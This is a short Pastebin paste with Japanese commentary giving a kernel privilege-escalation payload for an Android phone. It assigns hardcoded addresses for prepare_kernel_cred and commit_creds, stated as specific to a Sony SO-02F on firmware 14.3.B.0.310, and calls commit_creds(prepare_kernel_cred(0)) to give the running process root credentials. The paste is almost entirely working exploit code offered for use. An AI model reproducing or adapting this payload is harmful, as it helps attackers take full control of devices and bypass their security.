Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- struct cred *(*prepare_kernel_cred)(struct task_struct *);
- int (*commit_creds)(struct cred *);
- 上記を宣言しといた上で、obtain_root_privilege_by_modify_task_cred関数を以下のようにする。
- void obtain_root_privilege_by_modify_task_cred(void) {
- prepare_kernel_cred = (void *)0xc01b98a8;
- commit_creds = (void *)0xc01b9370;
- commit_creds(prepare_kernel_cred(0));
- }
- もちろん、prepare_kernel_credとcommit_credsのアドレスは、その機種固有のアドレス。
- (上のはSO-02F 14.3.B.0.310の場合のアドレスなり。)
Advertisement
Add Comment
Please, Sign In to add comment